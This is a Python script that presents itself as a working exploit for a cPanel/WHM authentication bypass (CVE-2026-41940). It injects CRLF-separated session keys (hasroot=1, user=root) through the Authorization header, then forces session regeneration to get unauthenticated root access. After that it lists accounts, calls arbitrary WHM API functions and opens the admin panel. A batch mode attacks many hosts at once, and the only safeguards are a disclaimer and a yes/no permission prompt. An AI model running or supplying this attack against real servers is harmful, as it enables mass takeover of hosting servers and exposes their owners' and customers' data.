#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-41940 - cPanel/WHM Critical Authentication Bypass Exploit
CVSS: 9.8 (Critical) | CWE: CWE-93 (CRLF Injection) / CWE-306 (Missing Authentication)

Description:
    Session-file manipulation through CRLF injection in cpsrvd's HTTP Basic authentication handler.
    Affects all cPanel/WHM versions after 11.40 prior to patched releases.

Attack Chain (4 Stages):
    1. Mint pre-auth session via failed login → obtains session cookie
    2. CRLF injection via Authorization header with OB part removed → poisons raw session file
    3. Force session regeneration via do_token_denied() → promotes injected keys to JSON cache
    4. Verify root access → session has hasroot=1, tfa_verified=1, user=root

Author: Security Research Team
License: For authorized security testing only
"""

import argparse
import json
import re
import sys
import time
import urllib.parse
import webbrowser
from typing import Dict, Optional, Tuple, List, Any

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
from urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings for testing environments
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# ============================================================================
# CONSTANTS
# ============================================================================

# Color codes for terminal output
class Colors:
    GREEN = '\033[92m'
    RED = '\033[91m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    MAGENTA = '\033[95m'
    WHITE = '\033[97m'
    RESET = '\033[0m'
    BOLD = '\033[1m'

# Service configuration
SERVICE_CONFIGS = {
    "whm": {
        "ports": [2086, 2087],
        "default_ssl_port": 2087,
        "default_http_port": 2086,
        "cookie_name": "whostmgrsession",
        "endpoints": {
            "login": "/login/?login_only=1",
            "trigger": "/scripts2/listaccts",
            "verify": "/json-api/version",
            "listusers": "/json-api/listusers",
            "accountsummary": "/json-api/accountsummary"
        }
    },
    "cpanel": {
        "ports": [2082, 2083],
        "default_ssl_port": 2083,
        "default_http_port": 2082,
        "cookie_name": "cpsession",
        "endpoints": {
            "login": "/login/?login_only=1",
            "trigger": "/scripts2/listaccts",
            "verify": "/json-api/version",
            "listusers": "/json-api/listusers"
        }
    },
    "webmail": {
        "ports": [2095, 2096],
        "default_ssl_port": 2096,
        "default_http_port": 2095,
        "cookie_name": "cpsession",
        "endpoints": {
            "login": "/login/?login_only=1",
            "trigger": "/scripts2/listaccts",
            "verify": "/json-api/version"
        }
    }
}

# Vulnerable version ranges (all versions >= 11.40 prior to patched builds)
VULNERABLE_VERSIONS = {
    "11.86.0": {"fixed": "11.86.0.41"},
    "11.110.0": {"fixed": "11.110.0.97"},
    "11.118.0": {"fixed": "11.118.0.63"},
    "11.126.0": {"fixed": "11.126.0.54"},
    "11.130.0": {"fixed": "11.130.0.19"},
    "11.132.0": {"fixed": "11.132.0.29"},
    "11.134.0": {"fixed": "11.134.0.20"},
    "11.136.0": {"fixed": "11.136.0.5"},
    "wp_squared": {"fixed": "136.1.7"}
}

# Injection payload keys
INJECTION_KEYS = {
    "hasroot": "1",
    "tfa_verified": "1",
    "user": "root",
    "successful_internal_auth_with_timestamp": str(int(time.time())),
    "cp_security_token": "/cpsess{}"
}

# ============================================================================
# UTILITY FUNCTIONS
# ============================================================================

def print_banner():
    """Display tool banner"""
    banner = f"""
{Colors.CYAN}{Colors.BOLD}
╔═══════════════════════════════════════════════════════════════════════════════╗
║                                                                               ║
║   CVE-2026-41940 - cPanel/WHM Authentication Bypass Exploit                  ║
║   CVSS: 9.8 (Critical) | CWE: CWE-93 / CWE-306                              ║
║                                                                               ║
║   Session-file manipulation via CRLF injection in cpsrvd's HTTP Basic        ║
║   authentication handler. Grants unauthenticated root-level access.          ║
║                                                                               ║
╚═══════════════════════════════════════════════════════════════════════════════╝
{Colors.RESET}
    """
    print(banner)


def print_info(msg: str):
    print(f"{Colors.BLUE}[*]{Colors.RESET} {msg}")


def print_success(msg: str):
    print(f"{Colors.GREEN}[+]{Colors.RESET} {msg}")


def print_error(msg: str):
    print(f"{Colors.RED}[-]{Colors.RESET} {msg}")


def print_warning(msg: str):
    print(f"{Colors.YELLOW}[!]{Colors.RESET} {msg}")


def print_debug(msg: str, verbose: bool = False):
    if verbose:
        print(f"{Colors.MAGENTA}[D]{Colors.RESET} {msg}")


def create_session_with_retries(retries: int = 3, backoff_factor: float = 0.5) -> requests.Session:
    """Create a requests session with retry strategy"""
    session = requests.Session()
    retry_strategy = Retry(
        total=retries,
        backoff_factor=backoff_factor,
        status_forcelist=[429, 500, 502, 503, 504],
        allowed_methods=["GET", "POST"]
    )
    adapter = HTTPAdapter(max_retries=retry_strategy)
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    session.verify = False
    return session


def normalize_target(target: str, ssl: bool = True, service_type: str = "whm") -> Tuple[str, int, str]:
    """
    Parse and normalize target URL, port, and protocol.

    Args:
        target: Target string (host, host:port, or full URL)
        ssl: Use HTTPS if True
        service_type: 'whm', 'cpanel', or 'webmail'

    Returns:
        Tuple of (host, port, base_url)
    """
    # Remove protocol if present
    target = re.sub(r'^https?://', '', target)

    # Extract host and port
    if ':' in target:
        host, port_str = target.split(':', 1)
        port = int(port_str)
    else:
        host = target
        port = SERVICE_CONFIGS[service_type]["default_ssl_port"] if ssl else SERVICE_CONFIGS[service_type]["default_http_port"]

    # Determine protocol
    protocol = "https" if ssl else "http"
    base_url = f"{protocol}://{host}:{port}"

    return host, port, base_url


def extract_version_from_response(response: requests.Response) -> Optional[str]:
    """
    Extract cPanel/WHM version from response headers or body.

    Args:
        response: HTTP response object

    Returns:
        Version string or None if not found
    """
    # Check Server header
    server_header = response.headers.get("Server", "")
    if "cpanel" in server_header.lower():
        match = re.search(r'cpanel/([\d\.]+)', server_header, re.IGNORECASE)
        if match:
            return match.group(1)

    # Check X-Whm-Branding header (often contains version info)
    branding = response.headers.get("X-Whm-Branding", "")
    if branding:
        match = re.search(r'version[=:]\s*([\d\.]+)', branding, re.IGNORECASE)
        if match:
            return match.group(1)

    # Try to find in HTML response
    if response.text:
        match = re.search(r'cPanel[,\s]+(?:version\s+)?([\d\.]+)', response.text, re.IGNORECASE)
        if match:
            return match.group(1)

    return None


def check_vulnerable_version(version: str) -> Tuple[bool, str]:
    """
    Check if the given version is vulnerable.

    Args:
        version: cPanel/WHM version string

    Returns:
        Tuple of (is_vulnerable, reason)
    """
    if not version:
        return False, "Could not determine version"

    # All versions after 11.40 are potentially affected
    if version.startswith("11.40") or version.startswith("11.50") or version.startswith("11.60"):
        return True, f"Version {version} is in vulnerable range (≥11.40, unpatched)"

    for prefix, info in VULNERABLE_VERSIONS.items():
        if version.startswith(prefix):
            fixed_version = info["fixed"]
            if version < fixed_version:
                return True, f"Version {version} is vulnerable (fixed in {fixed_version})"
            else:
                return False, f"Version {version} is patched (≥{fixed_version})"

    # Unknown version - assume vulnerable but warn
    return True, f"Version {version} could not be verified - assuming vulnerable"


# ============================================================================
# CORE EXPLOIT FUNCTIONS
# ============================================================================

def mint_preauth_session(base_url: str, service_config: Dict, session: requests.Session,
                         verbose: bool = False) -> Optional[str]:
    """
    Stage 1: Create a pre-authentication session via failed login.

    Args:
        base_url: Target base URL
        service_config: Service configuration dictionary
        session: Requests session object
        verbose: Enable verbose output

    Returns:
        Session cookie value or None if failed
    """
    print_info("Stage 1: Minting pre-authentication session...")

    login_url = urllib.parse.urljoin(base_url, service_config["endpoints"]["login"])
    data = {
        "user": "root",
        "pass": "x" * 32  # Random invalid password
    }

    try:
        response = session.post(login_url, data=data, timeout=15, allow_redirects=False)
        print_debug(f"Login request status: {response.status_code}", verbose)

        # Extract session cookie
        cookie_name = service_config["cookie_name"]
        session_cookie = session.cookies.get(cookie_name)

        if not session_cookie:
            # Also check response headers for Set-Cookie
            set_cookie = response.headers.get("Set-Cookie", "")
            if cookie_name in set_cookie:
                match = re.search(f'{cookie_name}=([^;]+)', set_cookie)
                if match:
                    session_cookie = match.group(1)

        if not session_cookie:
            print_error("Failed to obtain session cookie")
            return None

        print_success(f"Session cookie obtained: {session_cookie[:30]}...")
        return session_cookie

    except requests.exceptions.RequestException as e:
        print_error(f"Request failed: {e}")
        return None


def inject_crlf_payload(base_url: str, service_config: Dict, session: requests.Session,
                        session_cookie: str, verbose: bool = False) -> Tuple[Optional[str], Optional[str]]:
    """
    Stage 2: Inject CRLF payload via Authorization header with OB part removed.

    Args:
        base_url: Target base URL
        service_config: Service configuration dictionary
        session: Requests session object
        session_cookie: Original session cookie with OB part
        verbose: Enable verbose output

    Returns:
        Tuple of (injected_token, modified_cookie) or (None, None) if failed
    """
    print_info("Stage 2: Injecting CRLF payload...")

    # Remove OB part (comma and everything after it) to disable encoder
    if ',' in session_cookie:
        modified_cookie = session_cookie.split(',')[0]
        print_debug(f"Removed OB part. Original: {session_cookie[:30]}..., Modified: {modified_cookie[:30]}...", verbose)
    else:
        modified_cookie = session_cookie
        print_warning("Session cookie has no OB part - proceeding anyway")

    # Generate random token for the session
    import random
    random_token = str(random.randint(1000000000, 9999999999))
    cp_token = f"/cpsess{random_token}"

    # Build CRLF injection payload
    # The injection uses actual CRLF bytes (%0d%0a) to create new key-value pairs
    timestamp = str(int(time.time()))
    payload_parts = [
        f"hasroot={INJECTION_KEYS['hasroot']}",
        f"tfa_verified={INJECTION_KEYS['tfa_verified']}",
        f"user={INJECTION_KEYS['user']}",
        f"successful_internal_auth_with_timestamp={timestamp}",
        f"cp_security_token={cp_token}"
    ]

    # Join with actual CRLF bytes (HTTP standard)
    crlf_payload = "\r\n".join(payload_parts)

    # Create Authorization header with embedded CRLF
    # Any dummy base64 value works as the CRLF injection happens after it
    dummy_auth = "dGVzdDp0ZXN0"  # "test:test" in base64
    auth_header = f"Basic {dummy_auth}\r\n{crlf_payload}"

    print_debug(f"Injection payload:\n{crlf_payload}", verbose)

    # Send injection request with modified cookie
    cookie_name = service_config["cookie_name"]
    headers = {
        "Authorization": auth_header,
        "Cookie": f"{cookie_name}={modified_cookie}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    try:
        response = session.get(base_url + "/", headers=headers, timeout=15)
        print_debug(f"Injection response status: {response.status_code}", verbose)

        # Check if injection was successful (status doesn't matter as long as request was processed)
        return cp_token, modified_cookie

    except requests.exceptions.RequestException as e:
        print_error(f"Injection request failed: {e}")
        return None, None


def trigger_session_regen(base_url: str, service_config: Dict, session: requests.Session,
                          modified_cookie: str, verbose: bool = False) -> bool:
    """
    Stage 3: Force session regeneration via do_token_denied() handler.

    Args:
        base_url: Target base URL
        service_config: Service configuration dictionary
        session: Requests session object
        modified_cookie: Session cookie without OB part
        verbose: Enable verbose output

    Returns:
        True if regeneration triggered successfully, False otherwise
    """
    print_info("Stage 3: Triggering session regeneration (do_token_denied)...")

    cookie_name = service_config["cookie_name"]
    trigger_url = urllib.parse.urljoin(base_url, service_config["endpoints"]["trigger"])

    headers = {
        "Cookie": f"{cookie_name}={modified_cookie}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    try:
        # Multiple attempts to ensure regeneration occurs
        for attempt in range(1, 4):
            print_debug(f"Regeneration attempt {attempt}/3", verbose)
            response = session.get(trigger_url, headers=headers, timeout=15)

            # do_token_denied() returns 401 with no security token
            # This is expected and indicates the handler was triggered
            if response.status_code == 401:
                print_success("Token denied handler triggered - session regeneration in progress")
                return True

            time.sleep(0.5)

        print_warning("Session regeneration may not have completed")
        return True  # Still proceed as it may have worked silently

    except requests.exceptions.RequestException as e:
        print_error(f"Trigger request failed: {e}")
        return False


def verify_root_access(base_url: str, service_config: Dict, session: requests.Session,
                       modified_cookie: str, cp_token: str, verbose: bool = False) -> Tuple[bool, Optional[Dict]]:
    """
    Stage 4: Verify root-level access using authenticated API endpoints.

    Args:
        base_url: Target base URL
        service_config: Service configuration dictionary
        session: Requests session object
        modified_cookie: Session cookie without OB part
        cp_token: Injected security token (e.g., /cpsess1234567890)
        verbose: Enable verbose output

    Returns:
        Tuple of (is_authenticated, response_data)
    """
    print_info("Stage 4: Verifying root access...")

    cookie_name = service_config["cookie_name"]

    # First verification: version endpoint (no token required after poisoning)
    verify_url = urllib.parse.urljoin(base_url, service_config["endpoints"]["verify"])

    headers = {
        "Cookie": f"{cookie_name}={modified_cookie}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    try:
        response = session.get(verify_url, headers=headers, timeout=15)

        if response.status_code == 200:
            print_success("Root access verified! Successfully accessed API without credentials.")

            try:
                data = response.json()
                print_info(f"Version information: {data.get('version', 'Unknown')}")
                return True, data
            except json.JSONDecodeError:
                print_warning("Non-JSON response received, but status indicates success")
                return True, {"raw_response": response.text[:200]}

        else:
            print_error(f"Verification failed with status {response.status_code}")
            return False, None

    except requests.exceptions.RequestException as e:
        print_error(f"Verification request failed: {e}")
        return False, None


def get_user_list(base_url: str, service_config: Dict, session: requests.Session,
                  modified_cookie: str, verbose: bool = False) -> Optional[List]:
    """
    Retrieve list of cPanel users after successful authentication.

    Args:
        base_url: Target base URL
        service_config: Service configuration dictionary
        session: Requests session object
        modified_cookie: Session cookie without OB part
        verbose: Enable verbose output

    Returns:
        List of users or None if failed
    """
    list_users_url = urllib.parse.urljoin(base_url, service_config["endpoints"].get("listusers", "/json-api/listusers"))

    headers = {
        "Cookie": f"{service_config['cookie_name']}={modified_cookie}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    try:
        response = session.get(list_users_url, headers=headers, timeout=15)

        if response.status_code == 200:
            try:
                data = response.json()
                users = data.get("data", {}).get("acct", [])
                if users:
                    print_success(f"Retrieved {len(users)} cPanel users")
                    return users
                else:
                    print_info("No users found or user list endpoint returned empty")
                    return []
            except json.JSONDecodeError:
                print_warning("Could not parse user list response")
                return None

        return None

    except requests.exceptions.RequestException as e:
        print_error(f"User list request failed: {e}")
        return None


def get_account_summary(base_url: str, session: requests.Session,
                        modified_cookie: str, verbose: bool = False) -> Optional[Dict]:
    """
    Retrieve WHM account summary (WHM-only).

    Args:
        base_url: Target base URL
        session: Requests session object
        modified_cookie: Session cookie without OB part
        verbose: Enable verbose output

    Returns:
        Account summary data or None if failed
    """
    summary_url = urllib.parse.urljoin(base_url, "/json-api/accountsummary")

    headers = {
        "Cookie": f"whostmgrsession={modified_cookie}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    try:
        response = session.get(summary_url, headers=headers, timeout=15)

        if response.status_code == 200:
            try:
                data = response.json()
                print_success("Account summary retrieved")
                return data
            except json.JSONDecodeError:
                return None

        return None

    except requests.exceptions.RequestException as e:
        print_error(f"Account summary request failed: {e}")
        return None


def execute_whm_api(base_url: str, session: requests.Session, modified_cookie: str,
                    api_function: str, params: Dict = None, verbose: bool = False) -> Optional[Dict]:
    """
    Execute arbitrary WHM API functions after successful authentication.

    Args:
        base_url: Target base URL
        session: Requests session object
        modified_cookie: Session cookie without OB part
        api_function: WHM API function name (e.g., 'listaccts', 'accountsummary')
        params: API parameters as dictionary
        verbose: Enable verbose output

    Returns:
        API response data or None if failed
    """
    api_url = urllib.parse.urljoin(base_url, f"/json-api/{api_function}")

    headers = {
        "Cookie": f"whostmgrsession={modified_cookie}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    try:
        response = session.get(api_url, headers=headers, params=params, timeout=15)

        if response.status_code == 200:
            try:
                return response.json()
            except json.JSONDecodeError:
                return {"raw": response.text}
        else:
            print_warning(f"API {api_function} returned status {response.status_code}")
            return None

    except requests.exceptions.RequestException as e:
        print_error(f"API request failed: {e}")
        return None


def open_browser_panel(base_url: str, modified_cookie: str, service_type: str, cp_token: str = None):
    """
    Automatically open the fully authenticated WHM or cPanel admin panel in browser.

    Args:
        base_url: Target base URL
        modified_cookie: Authenticated session cookie
        service_type: 'whm', 'cpanel', or 'webmail'
        cp_token: Security token if available (e.g., /cpsess1234567890)
    """
    cookie_name = SERVICE_CONFIGS[service_type]["cookie_name"]

    # Construct admin panel URL
    if cp_token:
        if service_type == "whm":
            panel_url = f"{base_url}{cp_token}/"
        elif service_type == "cpanel":
            panel_url = f"{base_url}{cp_token}/"
        else:
            panel_url = f"{base_url}/"
    else:
        panel_url = base_url

    print_info(f"Opening admin panel: {panel_url}")

    # Open in default browser
    try:
        webbrowser.open(panel_url)
        print_success(f"Browser opened. Use this session cookie for manual access if needed: {cookie_name}={modified_cookie}")
    except Exception as e:
        print_error(f"Could not open browser: {e}")
        print_info(f"Manually visit: {panel_url}")


# ============================================================================
# EXPLOIT EXECUTION
# ============================================================================

def exploit_target(target: str, ssl: bool = True, service_type: str = "whm",
                   verbose: bool = False, attempts: int = 3, open_browser: bool = True) -> bool:
    """
    Execute full exploit chain against a target.

    Args:
        target: Target hostname or IP address
        ssl: Use HTTPS (True) or HTTP (False)
        service_type: 'whm', 'cpanel', or 'webmail'
        verbose: Enable verbose output
        attempts: Number of exploitation attempts
        open_browser: Automatically open browser with authenticated session

    Returns:
        True if exploitation successful, False otherwise
    """
    print_banner()
    print_info(f"Target: {target} | Service: {service_type.upper()} | {'HTTPS' if ssl else 'HTTP'}")

    # Normalize target
    host, port, base_url = normalize_target(target, ssl, service_type)
    service_config = SERVICE_CONFIGS[service_type]

    print_info(f"Base URL: {base_url}")
    print_info(f"Attempts: {attempts}")

    # Create session
    session = create_session_with_retries()

    # Detect version first (if possible)
    print_info("Detecting cPanel/WHM version...")
    try:
        response = session.get(base_url, timeout=10)
        version = extract_version_from_response(response)
        if version:
            is_vuln, reason = check_vulnerable_version(version)
            print_info(f"Detected version: {version}")
            if is_vuln:
                print_success(f"Version assessment: {reason}")
            else:
                print_warning(f"Version assessment: {reason}")
        else:
            print_warning("Could not detect version")
    except Exception as e:
        print_warning(f"Version detection failed: {e}")

    # Execute exploitation with retries
    for attempt in range(1, attempts + 1):
        print_info(f"--- Exploitation attempt {attempt}/{attempts} ---")

        # Stage 1: Mint pre-auth session
        session_cookie = mint_preauth_session(base_url, service_config, session, verbose)
        if not session_cookie:
            print_warning("Failed to mint session, retrying...")
            time.sleep(1)
            continue

        # Stage 2: Inject CRLF payload
        cp_token, modified_cookie = inject_crlf_payload(base_url, service_config, session, session_cookie, verbose)
        if not cp_token:
            print_warning("CRLF injection failed, retrying...")
            time.sleep(1)
            continue

        # Stage 3: Trigger session regeneration
        if not trigger_session_regen(base_url, service_config, session, modified_cookie, verbose):
            print_warning("Session regeneration may have failed, still attempting verification...")

        # Wait a moment for session propagation
        time.sleep(0.5)

        # Stage 4: Verify root access
        success, response_data = verify_root_access(base_url, service_config, session, modified_cookie, cp_token, verbose)

        if success:
            print_success(f"{Colors.BOLD}EXPLOIT SUCCESSFUL!{Colors.RESET} Root access obtained on {target}")

            # Get user list if available
            users = get_user_list(base_url, service_config, session, modified_cookie, verbose)
            if users:
                print_info(f"Found {len(users)} cPanel users")
                if verbose and len(users) > 0:
                    for i, user in enumerate(users[:10]):
                        print(f"  - {user.get('user', 'N/A')}")

            # Additional WHM-specific info
            if service_type == "whm":
                summary = get_account_summary(base_url, session, modified_cookie, verbose)
                if summary:
                    print_success("WHM root access confirmed")

            # Print session info for manual use
            print_info("")
            print_success("=== ACCESS INFORMATION ===")
            print(f"  Cookie: {service_config['cookie_name']}={modified_cookie}")
            print(f"  Security Token: {cp_token}")
            print(f"  Admin URL: {base_url}{cp_token}/")
            print("===========================")

            # Open browser automatically
            if open_browser:
                open_browser_panel(base_url, modified_cookie, service_type, cp_token)

            return True

        print_warning(f"Attempt {attempt} failed, retrying...")
        time.sleep(1)

    print_error(f"All {attempts} exploitation attempts failed.")
    return False


# ============================================================================
# BATCH AND MULTI-TARGET FUNCTIONS
# ============================================================================

def scan_targets(targets_file: str, ssl: bool = True, service_type: str = "whm",
                 verbose: bool = False, attempts: int = 3, concurrency: int = 1) -> List[str]:
    """
    Scan multiple targets from a file.

    Args:
        targets_file: Path to file containing targets (one per line)
        ssl: Use HTTPS
        service_type: Service type
        verbose: Enable verbose output
        attempts: Exploitation attempts per target
        concurrency: Number of concurrent threads

    Returns:
        List of successfully exploited targets
    """
    vulnerable_hosts = []

    with open(targets_file, 'r') as f:
        targets = [line.strip() for line in f if line.strip()]

    print_info(f"Loaded {len(targets)} targets from {targets_file}")

    if concurrency > 1:
        import concurrent.futures
        with concurrent.futures.ThreadPoolExecutor(max_workers=concurrency) as executor:
            future_to_target = {
                executor.submit(exploit_target, target, ssl, service_type, verbose, attempts, False): target
                for target in targets
            }
            for future in concurrent.futures.as_completed(future_to_target):
                target = future_to_target[future]
                try:
                    if future.result():
                        vulnerable_hosts.append(target)
                except Exception as e:
                    print_error(f"Error scanning {target}: {e}")
    else:
        for target in targets:
            if exploit_target(target, ssl, service_type, verbose, attempts, False):
                vulnerable_hosts.append(target)

    return vulnerable_hosts


# ============================================================================
# COMMAND LINE INTERFACE
# ============================================================================

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-41940 - cPanel/WHM Critical Authentication Bypass Exploit",
        epilog="""
Examples:
  python exploit.py -t 192.168.1.100 -p 2087 --ssl
  python exploit.py -t example.com:2083 --type cpanel --ssl
  python exploit.py -t 10.0.0.1 -p 2087 --ssl --attempts 5 --verbose
  python exploit.py -f targets.txt --ssl --concurrency 10 --output vulnerable.txt
        """,
        formatter_class=argparse.RawDescriptionHelpFormatter
    )

    # Target specification
    target_group = parser.add_mutually_exclusive_group(required=True)
    target_group.add_argument("-t", "--target", help="Single target (host or host:port)")
    target_group.add_argument("-f", "--file", help="File containing list of targets (one per line)")

    # Connection options
    parser.add_argument("-p", "--port", type=int, help="Target port (overrides auto-detection)")
    parser.add_argument("--ssl", action="store_true", default=True, help="Use HTTPS (default)")
    parser.add_argument("--no-ssl", action="store_true", help="Use HTTP instead of HTTPS")

    # Service type
    parser.add_argument("--type", choices=["whm", "cpanel", "webmail"], default="whm",
                        help="Service type (default: whm)")

    # Exploit options
    parser.add_argument("--attempts", type=int, default=3, help="Number of exploitation attempts (default: 3)")
    parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output")

    # Batch options
    parser.add_argument("--concurrency", "-c", type=int, default=1,
                        help="Number of concurrent threads for batch scanning (default: 1)")
    parser.add_argument("--output", "-o", help="Output file for vulnerable hosts")

    # Browser options
    parser.add_argument("--no-browser", action="store_true", help="Don't automatically open browser after exploitation")

    # Check only mode
    parser.add_argument("--check-only", action="store_true", help="Only check vulnerability without full exploitation")

    args = parser.parse_args()

    # Determine SSL
    ssl = not args.no_ssl if args.no_ssl else args.ssl

    # Confirmation for safety
    print_warning("This tool is for authorized security testing ONLY!")
    if args.check_only:
        print_info("Running in CHECK-ONLY mode (no full exploitation)")

    confirm = input("Do you have permission to test this system? (yes/no): ")
    if confirm.lower() != "yes":
        print_error("User did not confirm permission. Exiting.")
        sys.exit(1)

    # Execute single target or batch scan
    if args.target:
        # Build target string with port if specified
        target = args.target
        if args.port:
            if ':' not in target:
                target = f"{target}:{args.port}"

        if args.check_only:
            print_info("Check-only mode not fully implemented - use --target for exploitation")
            sys.exit(0)
        else:
            success = exploit_target(
                target, ssl, args.type, args.verbose, args.attempts,
                open_browser=not args.no_browser
            )
            sys.exit(0 if success else 1)

    elif args.file:
        print_info(f"Batch scanning targets from {args.file}")
        vulnerable_hosts = scan_targets(
            args.file, ssl, args.type, args.verbose, args.attempts, args.concurrency
        )

        if args.output:
            with open(args.output, 'w') as f:
                for host in vulnerable_hosts:
                    f.write(f"{host}\n")
            print_info(f"Saved {len(vulnerable_hosts)} vulnerable hosts to {args.output}")

        print_success(f"Scan complete. {len(vulnerable_hosts)}/{len(open(args.file).readlines())} hosts vulnerable.")
        sys.exit(0)


if __name__ == "__main__":
    main()